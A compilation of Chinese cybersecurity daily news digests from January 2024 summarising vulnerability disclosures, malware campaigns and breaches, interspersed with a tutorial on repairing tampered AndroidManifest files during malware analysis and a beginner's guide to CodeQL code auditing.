网络安全日报 2024年01月18日
1、SonicWall防火墙存在安全漏洞影响全网超178000台设备 https://bishopfox.com/blog/its-2024-and-over-178-000-sonicwall-firewalls-are-publicly-exploitable 通过互联网暴露的超过 178000 个 SonicWall 防火墙至少可被两个安全漏洞利用,这两个安全漏洞可能被利用导致拒绝服务 (DoS) 条件和远程代码执行 (RCE)。这两个问题本质上是相同的,但由于重用了易受攻击的代码模式,因此可以在不同的 HTTP URI 路径上利用。CVE-2022-22274(CVSS 评分:9.4),SonicOS 中通过 HTTP 请求的基于堆栈的缓冲区溢出漏洞允 2、研究人员披露伪装成Coinbase钱包的Inferno恶意软件 https://www.group-ib.com/blog/inferno-drainer/ 现已解散的Inferno Drainer背后的运营者在 2022 年至 2023 年的一年时间内创建了超过 16000 个独特的恶意域名。该计划利用高质量的网络钓鱼页面,引诱毫无戒心的用户将他们的加密货币钱包与攻击者的基础设施连接起来,攻击者的基础设施欺骗 Web3 协议,诱骗受害者授权交易。Inferno Drainer 于2022 年 11 月至 2023 年 11 月期间活跃,估计通过诈骗超过 137000 名受害者,获取了超过8700 万美元的非法利润。该恶意软件是一系列更广泛的类似产品的一 3、攻击者利用Windows漏洞部署开源窃密程序Phemedrone https://www.trendmicro.com/en_us/research/24/a/cve-2023-36025-exploited-for-defense-evasion-in-phemedrone-steal.html 攻击者利用 Microsoft Windows 中现已修补的安全漏洞来部署名为Phemedrone Stealer 的开源信息窃取程序。Phemedrone 的目标是网络浏览器以及来自加密货币钱包和 Telegram、Steam 和 Discord 等消息应用程序的数据。它还会截取屏幕截图并收集有关硬件、位置和操作系统详细信息的系统信息。然后,被盗数据通过 Te 4、研究人员披露Bosch智能恒温器固件中存在多个漏洞 https://www.bitdefender.com/blog/labs/vulnerabilities-identified-in-bosch-bcc100-thermostat/ 博世 BCC100 恒温器和力士乐 NXA015S-36V-B 智能拧紧机中已披露多个安全漏洞,如果成功利用这些漏洞,攻击者可能会在受影响的系统上执行任意代码。研究人员去年 8 月发现了博世 BCC100 恒温器中的缺陷,攻击者可能会利用该问题来更改设备固件并植入恶意版本。该高严重性漏洞的编号为CVE-2023-49722 (CVSS 评分:8.3),博世于 2023 年 11 月修复了该漏洞。BCC101/ 5、GitHub 轮换密钥以应对漏洞 https://www.securityweek.com/github-rotates-credentials-in-response-to-vulnerability/ 代码托管平台 GitHub 周二宣布,在得知影响 GitHub.com 和 GitHub Enterprise Server 的漏洞可能会暴露登录信息后,该公司已轮换密钥。 6、AMD&苹果&高通GPU易受LeftoverLocals攻击窃取AI数据 https://www.securityweek.com/ai-data-exposed-to-leftoverlocals-attack-via-vulnerable-amd-apple-qualcomm-gpus/ 研究人员演示了如何利用图形处理单元 (GPU) 漏洞的新攻击方法从人工智能和其他类型的应用程序中获取潜在的敏感信息。该漏洞被称为LeftoverLocals,官方编号为 CVE-2023-4969,Trail of Bits 进行的测试显示苹果、AMD 和高通 GPU 受到影响。 7、Citrix 向 NetScaler ADC 客户发出新的零日漏洞利用警告 https://www.securityweek.com/citrix-warns-netscaler-adc-customers-of-new-zero-day-exploitation/ Citrix 发现有利用两个新的 NetScaler ADC 和 Gateway 零日漏洞(编号为 CVE-2023-6548 和 CVE-2023-6549)的攻击。 8、AndroxGh0st 僵尸网络瞄准 AWS、Azure 和 Office 365 凭证 https://thehackernews.com/2024/01/feds-warn-of-androxgh0st-botnet.html 美国网络安全和基础设施安全局 (CISA) 和联邦调查局 (FBI)警告称,部署AndroxGh0st恶意软件的威胁行为者正在创建一个僵尸网络,用于“在目标网络中识别和利用受害者”。该云攻击工具能够渗透易受已知安全漏洞影响的服务器,以访问 Laravel 环境文件并窃取 Amazon Web Services (AWS)、Microsoft Office 365、SendGrid 和 Twilio 等知名应用程序的凭据。 9、新的iShutdown方法可识别iPhone上隐藏的间谍软件(如 Pegasus) https://thehackernews.com/2024/01/new-ishutdown-method-exposes-hidden.html 网络安全研究人员发现了一种名为iShutdown的“轻量级方法” ,可以可靠地识别 Apple iOS 设备上的间谍软件迹象,包括 NSO Group 的Pegasus、QuaDream 的Reign和 Intellexa 的Predator等臭名昭著的间谍软件。卡巴斯基还发布了一系列 Python 脚本来提取、分析和解析 Shutdown.log,以提取重新启动统计信息。 10、英国隐私监管机构将对AI网络抓取方法进行审查 https://therecord.media/uk-ico-examines-privacy-concerns-data-scraping-artificial-intelligence-llms 英国的数据保护监管机构信息专员办公室 (ICO) 正在审查通过网络抓取收集数据来训练生成人工智能模型的合法性。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年01月17日
1、攻击者利用Ivanti零日漏洞以部署网络间谍软件 https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day 自 12 月初以来,黑客一直在利用本周披露的 Ivanti Connect Secure 中的两个零日漏洞来部署多个定制恶意软件系列以用于间谍目的。这些安全问题被标识为 CVE-2023-46805 和 CVE-2024-21887,允许绕过身份验证并向易受攻击的系统注入任意命令。Ivanti 表示,攻击者针对的是少数客户。研究人员称攻击背后的威胁行为者从事间谍活动,目前在内部追踪为 UNC5221。今天,威胁监控服务 Shadowser 2、GitLab警告用户修补严重的零点击帐户劫持漏洞 https://www.bleepingcomputer.com/news/security/gitlab-warns-of-critical-zero-click-account-hijacking-vulnerability/ GitLab 发布了社区版和企业版的安全更新,以解决两个关键漏洞,其中之一允许在没有用户交互的情况下劫持帐户。供应商强烈建议尽快更新 DevSecOps 平台的所有易受攻击的版本(自托管安装需要手动更新)。GitLab 修补的最严重的安全问题具有最高的严重性评分(满分 10 分),并被跟踪为 CVE-2023-7028。成功的利用不需要任何交互。这是一个身份验证问 3、研究人员披露2023年有近5200起组织遭勒索软件攻击事件 https://www.rapid7.com/blog/post/2024/01/12/2023-ransomware-stats-a-look-back-to-plan-ahead/ 2023 年有近 5200 个受害者组织遭受勒索软件攻击,并从其管理的检测和响应团队的公开披露和事件数据中进行了研究。研究人员认为这个数字实际上更高,因为它没有考虑到许多可能未被报告的攻击。虽然勒索软件活动仍然很高,但用于这些攻击的独特勒索软件家族的数量减少了一半以上,从2022年的95个新家族减少到2023年的43个。比克表示,这表明当前的勒索软件系列和模型正在满足威胁行为者的目标。研究人员称AlphV 是 4、谷歌警告 Chrome 浏览器零日漏洞被利用 https://www.securityweek.com/google-warns-of-chrome-browser-zero-day-being-exploited/ 被利用的零日漏洞被标记为 CVE-2024-0519,被描述为 V8 JavaScript 引擎中的越界内存访问问题。 5、PAX 支付终端存在漏洞,容易遭受黑客攻击 https://www.securityweek.com/vulnerabilities-expose-pax-payment-terminals-to-hacking/ PAX 基于 Android 的 PoS 终端中的漏洞可被利用来降级引导加载程序、执行任意代码。 6、VMware 敦促客户修补关键的 Aria Automation漏洞 https://www.securityweek.com/vmware-urges-customers-to-patch-critical-aria-automation-vulnerability/ Aria Automation 受到一个严重漏洞的影响,该漏洞可被利用来获取对远程组织和工作流程的访问权限。 7、ATLASSIAN 修复了旧版CONFLUENCE中的严重RCE https://securityaffairs.com/157591/security/atlassian-rce-flaw-older-confluence-versions.html Atlassian 警告 Confluence 数据中心和 Confluence Server 中存在一个严重的远程代码执行漏洞,该漏洞被跟踪为 CVE-2023-22527(CVSS 评分 10.0),该漏洞会影响旧版本。 8、Remcos RAT 在韩国通过伪装成成人游戏进行传播 https://thehackernews.com/2024/01/remcos-rat-spreading-through-adult.html 名为 Remcos RAT 的远程访问木马 (RAT) 被发现通过网络硬盘在韩国伪装成成人主题游戏进行传播。 9、研究人员发现全球僵尸网络活动大幅激增 https://www.infosecurity-magazine.com/news/hundredfold-surge-global-botnet 活动激增的原因是攻击者使用廉价或免费的云和托管服务器来创建僵尸网络启动板。这些新的僵尸网络专注于扫描全球互联网端口,并显示出潜在电子邮件服务器漏洞的迹象。 10、研究人员建议安卓引入定期重启机制能有效阻止固件漏洞攻击 研究人员建议 Android 应该引入自动重启功能,以使利用固件缺陷变得更加困难。最近报告了影响 Google Pixel 和三星 Galaxy 手机等 Android 设备的固件漏洞,这些漏洞可能会被利用来窃取数据并在设备不处于静止状态时监视用户。当设备处于“静止”状态时,意味着它已关闭或启动后尚未解锁。在这种状态下,隐私保护非常高,并且移动设备无法完全发挥作用,因为加密密钥仍然无法供已安装的应用程序使用。重新启动后的第一次解锁会导致多个加密密钥移动到快速访问内存,以便安装的应用程序正常工作,并且设备切换到“非静止”状态。 https://www.bleepingcomputer.com/news/security/grapheneos-frequent-android-auto-reboots-block-firmware-exploits/ 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年01月16日
1、CISA披露SharePoint存在的安全漏洞已被积极利用 https://www.cisa.gov/news-events/alerts/2024/01/10/cisa-adds-one-known-exploited-vulnerability-catalog 美国网络安全和基础设施安全局 (CISA) 已将影响 Microsoft SharePoint Server 的严重安全漏洞添加到其已知被利用的漏洞 ( KEV )目录中,并引用了主动利用的证据。该问题编号为CVE-2023-29357(CVSS 评分:9.8),是一个权限升级缺陷,攻击者可利用该缺陷获取管理员权限。作为 2023 年 6 月补丁星期二更新的一部分,微软发布了针对该错误的补 2、Medusa勒索软件攻击活动呈上升趋势 https://unit42.paloaltonetworks.com/medusa-ransomware-escalation-new-leak-site/ 自 2023 年 2 月在暗网上首次出现专门的数据泄露网站以来,与Medusa 勒索软件相关的威胁行为者加大了活动力度,以发布不愿同意其要求的受害者的敏感数据。作为多重勒索策略的一部分,当受害者的数据发布在泄露网站上时,该组织将为受害者提供多种选择,例如延长时间、删除数据或下载所有数据。所有这些选项都有一个价格标签,具体取决于受该群体影响的组织。Medusa(不要与 Medusa Locker 混淆)是指 2022 年底出现、并于 2 3、Apache Hadoop和Flink中的错误配置可能遭受挖矿攻击 https://blog.aquasec.com/threat-alert-apache-applications-targeted-by-stealthy-attacker 网络安全研究人员发现了一种新的攻击,该攻击利用 Apache Hadoop 和 Flink 中的错误配置在目标环境中部署加密货币矿工。由于攻击者使用加壳程序和 Rootkit 来隐藏恶意软件,因此这次攻击特别令人感兴趣。该恶意软件会删除特定目录的内容并修改系统配置以逃避检测。针对 Hadoop 的感染链利用了 YARN(又一个资源协商器)ResourceManager中的错误配置,该资源管理器负责跟踪集群中的资源并调度 4、GitLab 修补高危任意用户密码重置漏洞 https://www.securityweek.com/gitlab-patches-critical-password-reset-vulnerability/ GitLab 解决了一个严重的身份验证漏洞,该漏洞允许攻击者劫持密码重置电子邮件。 5、信息窃取程序利用 Windows SmartScreen 绕过漏洞 https://www.securityweek.com/information-stealer-exploits-windows-smartscreen-bypass/ 据网络安全公司趋势科技报告,Windows SmartScreen 中的一个最新漏洞在导致 Phemedrone Stealer 感染的攻击中被积极利用。 6、超过 178,000 个SonicWall 防火墙 (NGFW) 可能遭受黑客攻击 https://securityaffairs.com/157524/hacking/vulnerable-sonicwall-ngfw-exposed-online.html SonicWall 下一代防火墙 (NGFW) 系列 6 和 7 设备受到两个未经身份验证的拒绝服务漏洞的影响,分别为CVE-2022-22274 和 CVE-2023-0656,这可能会导致远程代码执行。专家发现,76%(233,984 个中的 178,637 个)面向互联网的防火墙容易受到一个或两个问题的影响。 7、Meta承认使用盗版书籍来训练 AI,并拒绝赔偿作家 https://www.freebuf.com/news/389695.html 近日,Meta(前身为 Facebook)就因使用包含大量盗版书籍的“Books3”数据集训练其 LLAM 1 和 LLAM 2 模型而面临包括喜剧演员 Sarah Silverman 和作家 Richard Kadrey 在内的一众作者的集体诉讼。Meta 虽承认使用了 Books3 数据集,却拒绝向作者支付适当的补偿。 8、Balada Injector 活动感染了 7100多个WordPress 网站 https://thehackernews.com/2024/01/balada-injector-infects-over-7100.html 数千个使用 Popup Builder 插件易受攻击版本的 WordPress 网站已受到名为Balada Injector的恶意软件的攻击。 9、Opera MyFlaw漏洞可运行 Mac 或 Windows 上的任何文件 https://thehackernews.com/2024/01/opera-myflaw-bug-could-let-hackers-run.html 网络安全研究人员披露了 Microsoft Windows 和 Apple macOS 的 Opera Web 浏览器中的一个安全漏洞,该漏洞可被利用来执行底层操作系统上的任何文件。 10、上市公司海普瑞遭遇电信诈骗,损失逾9000万元 https://www.secrss.com/articles/62766 海普瑞(002399.SZ)1月14日晚间公告,全资子公司Techdow Pharma Italy S.R.L.(简称“天道意大利”)近期遭遇犯罪团伙电信诈骗,涉案金额约1170余万欧元(约合9100万人民币)。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
Androidmanifest文件加固和对抗
前言 恶意软件为了不让我们很容易反编译一个apk,会对androidmanifest文件进行魔改加固,本文探索androidmanifest加固的常见手法以及对抗方法。这里提供一个恶意样本的androidmanifest.xml文件,我们学完之后可以动手实践。 1、Androidmanifest文件组成 这里贴一张经典图,主要描述了androidmanifest的组成 androidmanifest文件头部仅仅占了8个字节,紧跟其后的是StringPoolType字符串常量池 (为了方便我们观察分析,可以先安装一下010editor的模板,详细见2、010editor模板) Magic Number 这个值作为头部,是经常会被魔改的,需要重点关注 StylesStart 该值一般为0,也是经常会发现魔改 StringPool 寻找一个字符串,如何计算? 1、获得字符串存放开放位置:0xac(172),此时的0xac是不带开头的8个字节 所以需要我们加上8,最终字符串在文件中的开始位置是:0xb4 2、获取第一个字符串的偏移,可以看到,偏移为0 3、计算字符串最终存储的地方: 0xb4 = 0xb4 + 0 读取字符串,以字节00结束 读取到的字符为:theme 总结: stringpool是紧跟在文件头后面的一块区域,用于存储文件所有用到的字符串 这个地方呢,也是经常发生魔改加固的,比如:将StringCount修改为0xFFFFFF无穷大 在经过我们的手动计算和分析后,我们对该区域有了更深的了解。 2、010editor模板 使用010editor工具打开,安装模板库 搜索:androidmanifest.bt 安装完成且运行之后: 会发现完整的结构,帮助我们分析 3、使用AXMLPrinter2进行的排错和修复 用法十分简单: java -jar AXMLPrinter2.jar AndroidManifest_origin.xml 会有一系列的报错,但是不要慌张,根据这些报错来对原androidmanifest.xml进行修复 意思是:出乎意料的0x80003(正常读取的数据),此时却读取到:0x80000 按照小端序,正常的数据应该是: 03 00 08 使用 010editor 打开 将其修复 保存,再次尝试运行AXMLPrinter2 好家伙还有错误,这个-71304363,不方便我们分析,将其转换为python的hex数据 NegativeArraySizeException 表示在创建数组的时候,数组的大小出现了负数。 androidmanifest加固后文件与正常的androidmanifest文件对比之后就可以发现魔改的地方。 将其修改回去 运行仍然报错,是个新错误: 再次去分析: stringoffsets如此离谱,并且数组的大小变为了0xff 根据报错的信息,尝试把FF修改为24 再次运行 成功拿到反编译后的androidmanifest.xml文件 总结: 这个例子有三个魔改点经常出现在androidmanifest.xml加固 恶意软件通过修改这些魔改点来对抗反编译
网络安全日报 2024年01月15日
1、研究人员披露Apache OfBiz ERP系统中漏洞的利用方法 https://vulncheck.com/blog/ofbiz-cve-2023-51467 网络安全研究人员开发了一种概念验证 (PoC) 代码,该代码利用Apache OfBiz 开源企业资源规划 (ERP) 系统中最近披露的一个关键缺陷来执行内存驻留有效负载。该漏洞为CVE-2023-51467(CVSS 评分:9.8),它绕过了同一软件中的另一个严重缺陷(CVE-2023-49070,CVSS 评分:9.8),可被武器化以绕过身份验证并远程执行任意命令代码。虽然该问题已在上个月发布的Apache OFbiz 版本 18.12.11中得到修复,但据观察,威胁行为者试图利用该缺陷,针对 2、攻击者恶意滥用GitHub资源的行为呈现上升趋势 https://www.recordedfuture.com/flying-under-the-radar-abusing-gitHub-malicious-infrastructure GitHub 在信息技术 (IT) 环境中的普遍存在,使其成为威胁行为者托管和传递恶意负载并充当死点解析器、命令和控制以及数据渗漏点的有利可图的选择。将 GitHub 服务用于恶意基础设施可以让对手融入合法的网络流量,通常会绕过传统的安全防御,并使上游基础设施跟踪和攻击者归因变得更加困难。网络安全公司将这种方法描述为“离地受信任站点”(LOTS),这是威胁行为者经常采用的离地生活 (LotL) 技术的延伸, 3、Adobe修复Substance 3D Stager产品中的代码执行漏洞 https://www.securityweek.com/adobe-patches-code-execution-flaws-in-substance-3d-stager/ 软件制造商 Adobe 发布了针对 Substance 3D Stager 产品中六个安全缺陷的补丁,并警告称,黑客可以针对这些漏洞发起代码执行攻击。Adobe 将这些漏洞标记为“重要严重性”等级,并敦促 macOS 和 Windows 平台上的用户立即应用更新。在 2004 年的第一个周二补丁更新中,Adobe记录了面向企业的 3D 渲染软件中至少有 6 个漏洞,并表示成功利用可能会导致内存泄漏和在当前用户的上下文中 4、开源密码管理器Bitwarden添加密钥支持以登录Web密码库 https://www.bleepingcomputer.com/news/security/bitwarden-adds-passkey-support-to-log-into-web-password-vaults/ 开源 Bitwarden 密码管理器宣布所有用户现在都可以使用密钥而不是标准用户名和密码对登录其网络保管库。密钥是大多数人设置的密码的更安全的替代方案,并且可以抵御网络钓鱼。就 Bitwarden 而言,他们允许用户解密其保管库,而无需主密码、电子邮件地址或双因素身份验证 (2FA)。Bitwarden 的密钥实现目前处于测试阶段,依赖 PRF WebAuthn 扩展来验证 5、Akira勒索软件可擦除NAS和磁带备份设备的数据 https://www.kyberturvallisuuskeskus.fi/fi/ajankohtaista/suomalaiset-organisaatiot-akira-kiristyshaittaohjelmien-kohteena 芬兰国家网络安全中心 (NCSC-FI) 通报 Akira 勒索软件活动在 12 月份有所增加,该活动针对该国的公司并擦除备份。该机构表示,上个月报告的 7 起勒索软件事件中,有 6 起是由威胁行为者发起的。擦除备份会放大攻击的损害,并允许威胁行为者向受害者施加更大的压力,因为他们消除了无需支付赎金即可恢复数据的选项。小型组织经常使用网络附加存储 (NA 6、超过15万个WordPress网站因易受攻击的插件可能遭受攻击 https://www.wordfence.com/blog/2024/01/type-juggling-leads-to-two-vulnerabilities-in-post-smtp-mailer-wordpress-plugin/ 影响 POST SMTP Mailer WordPress 插件(300000 个网站使用的电子邮件传送工具)的两个漏洞可能会帮助攻击者完全控制站点身份验证。上个月,研究人员发现了该插件中的两个漏洞,并将其报告给供应商。第一个被追踪为CVE-2023-6875,是一个严重的授权绕过缺陷,由 connect-app REST 端点上的“类型杂耍”问题引起。该 7、Atomic窃取器通过加密载荷针对Mac用户发起攻击 https://www.malwarebytes.com/blog/threat-intelligence/2024/01/atomic-stealer-rings-in-the-new-year-with-updated-version 网络安全研究人员发现了名为Atomic(或 AMOS)的 macOS 信息窃取程序的更新版本,这表明该恶意软件背后的威胁行为者正在积极增强其功能。Atomic Stealer 似乎在 2023 年 12 月中下旬左右进行了更新,其开发人员引入了有效负载加密,以绕过检测规则。Atomic Stealer首次出现于 2023 年 4 月,每月订阅费为 1000 8、新型 CI/CD 攻击可能导致 PyTorch 供应链受损 https://www.securityweek.com/new-class-of-ci-cd-attacks-could-have-led-to-pytorch-supply-chain-compromise/ Praetorian 安全研究员 John Stawinski 表示,新披露的一类 CI/CD 攻击可能允许攻击者将恶意代码注入 PyTorch 存储库,从而导致大规模供应链受损。 9、苹果修复妙控键盘中的击键注入漏洞 https://www.securityweek.com/apple-patches-keystroke-injection-vulnerability-in-magic-keyboard/ 苹果本周宣布了妙控键盘固件更新,修复了一个可能允许攻击者通过蓝牙注入击键的漏洞。 10、Juniper SRX 防火墙和 EX 交换机中发现严重 RCE 漏洞 https://thehackernews.com/2024/01/critical-rce-vulnerability-uncovered-in.html Juniper Networks 已发布更新以修复其 SRX 系列防火墙和 EX 系列交换机中的关键远程代码执行 (RCE) 漏洞。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年01月12日
1、Netgear和Hyundai的官方X账户被黑用于加密货币诈骗 https://www.bleepingcomputer.com/news/security/netgear-hyundai-latest-x-accounts-hacked-to-push-crypto-drainers/ Netgear 和现代 MEA Twitter/X 官方帐户(共有超过 160000 名关注者)是最新被劫持的帐户,用于推送旨在通过加密货币钱包排水恶意软件感染潜在受害者的诈骗。虽然 Hyundai 已经重新获得了对其帐户的访问权限,并清理了所有将 X 用户指向恶意网站的链接的时间线,但 Netgear 尚未控制他们的帐户,攻击者的一些推文回复仍然可用。攻击者将现代 M 2、Babuk攻击者被捕后发布勒索软件变种解密工具 https://blog.talosintelligence.com/decryptor-babuk-tortilla/ 研究人员与荷兰警方合作,获得了 Babuk 勒索软件 Tortilla 变种的解密工具,并分享了导致勒索软件操作者被捕的情报。Tortilla 是 Babuk 勒索软件变种,在原始恶意软件的源代码在黑客论坛上泄露后不久就出现了。其背后的威胁行为者一直利用 ProxyShell 漏洞攻击 Microsoft Exchange 服务器 来部署数据加密恶意软件。在新变种出现前一个月, Avast 发布了 Babuk 的解密器,但它不适用于 Tortilla 加密,因为它使用了不 3、巴拉圭军方声称Tigo运营商遭勒索攻击数据泄露 https://www.bleepingcomputer.com/news/security/paraguay-warns-of-black-hunt-ransomware-attacks-after-tigo-business-breach/ Tigo Business 上周遭受网络攻击,影响该公司业务部门的云和托管服务后,巴拉圭军方就 Black Hunt 勒索软件攻击发出警告。Tigo 是巴拉圭最大的移动运营商,其 Tigo 业务部门为企业提供数字解决方案,包括网络安全咨询、云和数据中心托管以及广域网 (WAN) 解决方案。周末,当地媒体报道称,自周四以来,各公司在 Tigo Busi 4、攻击者冒充安全人员对Royal和Akira勒索受害者发起攻击 https://arcticwolf.com/resources/blog/follow-on-extortion-campaign-targeting-victims-of-akira-and-royal-ransomware/ 一些受 Royal 和 Akira 勒索软件团伙侵害的组织已成为冒充安全研究人员的威胁行为者的目标,该威胁行为者承诺攻击原始攻击者并删除被盗的受害者数据。Royal 和 Akira 勒索软件操作均采用双重勒索策略——窃取信息后对受害者系统进行加密,并威胁称除非支付赎金,否则就会泄露数据。网络安全公司表示,它已经调查了“几起案件”,在这些案件中,支付赎金的两个勒索软 5、微软1月补丁中修复了49个缺陷和12个远程代码执行漏洞 https://www.bleepingcomputer.com/news/microsoft/microsoft-january-2024-patch-tuesday-fixes-49-flaws-12-rce-bugs/ 今天是微软的 2024 年 1 月补丁星期二,其中包含总共 49 个缺陷和 12 个远程代码执行漏洞的安全更新。只有两个漏洞被列为严重漏洞,一个是 Windows Kerberos 安全功能绕过,另一个是 Hyper-V RCE。 下面列出了每个漏洞类别中的错误数量:10 特权提升漏洞、7 安全功能绕过漏洞、12 个远程代码执行漏洞、11 信息泄露漏洞、6 拒绝服务漏洞 6、研究人员标记 FBot 黑客工具劫持云、支付服务 https://www.securityweek.com/researchers-flag-fbot-hacking-tool-hijacking-cloud-payment-services/ 该工具名为 FBot,能够收集垃圾邮件攻击以及 AWS、PayPal 和 SaaS 帐户劫持的凭据。 7、Ivanti Connect Secure中的两个零日漏洞被积极利用 https://securityaffairs.com/157306/hacking/ivanti-connect-secure-policy-secure-0days.html Ivanti 透露,威胁参与者正在利用其 Connect Secure (ICS) 和 Policy Secure 中的两个零日漏洞。 8、Cloudflare 发现 2023 年 DDoS 攻击流量激增 https://www.cybersecuritydive.com/news/ddos-attacks-surge-cloudflare/704011/ 2023 年,分布式拒绝服务 (DDoS) 攻击达到历史最高水平,受 HTTP/2 快速重置等漏洞利用的推动,攻击数量和强度显着增加。 9、FTC禁止数据经纪公司出售美国人的位置数据 https://www.bleepingcomputer.com/news/security/ftc-bans-data-broker-from-selling-americans-location-data/ 此举是为了回应数据经纪公司公开个人位置数据的做法,这些数据揭露了更多敏感信息,如医疗访问和宗教信仰。 10、中国台湾虎航85.8万条数据泄露 http://www.anquan419.com/knews/24/6534.html 据知道创宇暗网雷达监测,2024年1月9日,中国台湾虎航85.8万条数据泄露,泄露的数据包含客户数据和航班预定数据。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
CodeQL基本使用
0x01 安装codeql 去github下载一个对应版本的codeql捆绑包。 https://github.com/github/codeql-action/releases然后解压,这里我是解压到桌面 然后用添加到环境变量中 然后在任意位置输入codeql命令,如果能有以下提示就表示安装成功 然后下载vscode, 并且给vscode安装codeql扩展 0x02 创建codeql数据库 在使用 CodeQL 分析代码之前,需要创建一个 CodeQL 数据库。 创建codeql数据库命令: codeql database create <database> --language=<language-identifier> <database> 是创建数据库的路径 执行命令会自动创建一个文件夹 <language-identifier> 是选定的语言 比如java,python等 比如需要审计一个python程序,那么命令就可以如下 (注意这条命令需要在需要审计的源代码目录中使用,codeql默认是使用当前位置作为源文件目录) codeql database create pythondb --language=python # 也可以用source-root指定源码路径 比如源码文件在d:/python_code codeql database create pythondb --language=python --source-root="d:/python_code" 然后准备好一份python的源代码。我这里是随便去github搜索了一份别人写好的代码 执行完毕后可以发现多了一个文件夹,这个就是codeql创建的数据库 0x03 codeql使用 打开vscode,打开源码文件夹 切换到codeql插件然后选择刚刚codeql创建的数据库文件夹 成功之后点击queries选项里面的蓝色字体,可以快速的创建一个ql查询文件。 选择对应的语法然后回车 成功如下 0x04 ql语法简介 分析一下自动生成的脚本文件是什么意思 import python // 用于引入Python语言的元数据和查询库 比如import java就是引用java的元数据和查询库 from File f // 引入文件(File)元数据的语法 select f, "Hello, world!" // (其实这是一条语句) select和sql中的select类似查询一个具体值 select关键字 和sql的select类似,查询一个字符串的结果。 from关键字 用于定义变量,格式如 from 变量类型 变量名, 如定义字符串变量str如下 (多个变量用逗号分隔) from string str from string str1, string str2 wher关键字 用于赋值和逻辑运算,比如where str = "abcde" 就是将str变量赋值为abcde字符串 where str1 = "a" and str2 = "b" 注意以上语句需要配合使用不能单独使用,这里是和编程语言的语法有一些区别,更加贴近于sql语法 还有一些内置的类,如Function 表示一个函数类 篇幅关系,更多语法查阅官方文档:https://codeql.github.com/docs/ 0x05 实际使用 比如这里是用codeql查找sql注入,个人感觉codeql更加考验对于漏洞的理解,比起其他传统的代码审计工具,codeql显得更加灵活。 codeql其实自带了很多ql脚本,这些脚本可以帮助我们去查找漏洞最简单的方式就是使用 CodeQL CLI 捆绑包中包含的标准查询。 命令格式如下 codeql database analyze <database> --format=<format> --output=<output> //format就是指定分析过程中生成的结果文件的格式,比如csv格式等 //output就是输出的文件名 比如 然后打开生成的result.csv文件 可以看到如下结果 比如查看第一个sql注入漏洞就可以打开/utils/query.py文件 然后找到12行,函数直接excute了sql语句。且中途未经过过滤。 在vs中使用codeql可以编写语句,比如查询query函数在哪个位置 点击鼠标就可以跳转到对应源码界面 然后还可以查询query函数有哪些地方调用了。 import python   from Call call, Name name where call.getFunc() = name and name.getId() = "query" select call, call.getLocation(), "使用了query函数." 然后挑选一个函数去跟踪,发现字符串直接拼接到sql语句中。
网络安全日报 2024年01月11日
1、美国SEC的X账户被盗并虚假宣布称比特币ETF获得批准 https://www.bleepingcomputer.com/news/security/us-secs-x-account-hacked-to-announce-fake-bitcoin-etf-approval/ 美国证券交易委员会的 X 账户今天遭到黑客攻击,发布了关于批准比特币 ETF 在证券交易所上市的虚假公告。今天下午,美国证券交易委员会被黑的 X 账户发布了一条推文,该推文现已删除。“今天,美国证券交易委员会批准比特币 ETF 在注册的国家证券交易所上市,”假 X 帖子中写道。“批准的比特币 ETF 将接受持续的监督和合规措施,以确保持续保护投资者。”该推文包含 SEC 主 2、Kyocera设备管理器中存在新漏洞可能遭受攻击 https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2023-50916-authentication-coercion-vulnerability-in-kyocera-device-manager/ Kyocera 的设备管理器产品中已披露了一个安全漏洞,不良行为者可能会利用该漏洞在受影响的系统上执行恶意活动。如果未启用‘限制 NTLM:到远程服务器的传出 NTLM 流量’安全策略,则此漏洞允许攻击者强制尝试对其自己的资源(例如恶意 SMB 共享)进行身份验证,以捕获或中继 Active Director 3、思科称UnityConnection严重漏洞可让攻击者获得root 权限 https://www.bleepingcomputer.com/news/security/cisco-says-critical-unity-connection-bug-lets-attackers-get-root/ 思科已经修补了一个关键的 Unity Connection 安全漏洞,该漏洞可以让未经身份验证的攻击者远程获取未修补设备上的 root 权限。 4、亲乌克兰黑客入侵俄罗斯 ISP 以报复 KyivStar 攻击 https://www.bleepingcomputer.com/news/security/pro-ukraine-hackers-breach-russian-isp-in-revenge-for-kyivstar-attack/ 一个名为“Blackjack”的亲乌克兰黑客组织声称,俄罗斯互联网服务提供商 M9com 遭受了网络攻击,这是对 Kyivstar 移动运营商攻击的直接回应。 5、Windows 10 KB5034441安全更新失败并出现错误 https://www.bleepingcomputer.com/news/microsoft/windows-10-kb5034441-security-update-fails-with-0x80070643-errors/ 全球 Windows 10 用户报告安装 Microsoft 1 月补丁星期二更新时出现问题,在尝试安装 BitLocker 的 KB5034441 安全更新时出现 0x80070643 错误。 6、Microsoft Exchange 2019 已结束主流支持 https://www.bleepingcomputer.com/news/microsoft/microsoft-exchange-2019-has-reached-end-of-mainstream-support/ Microsoft 宣布于 2023 年 1 月 9 日结束对其 Exchange Server 2019 本地邮件服务器软件的主流支持。 7、Android 2024 年 1 月安全更新修补了 58 个漏洞 https://www.securityweek.com/androids-january-2024-security-update-patches-58-vulnerabilities/ Android 2024 年的第一个安全更新解决了高严重性的特权提升和信息泄露漏洞。 8、巴西全体公民数据可能遭受大规模泄露 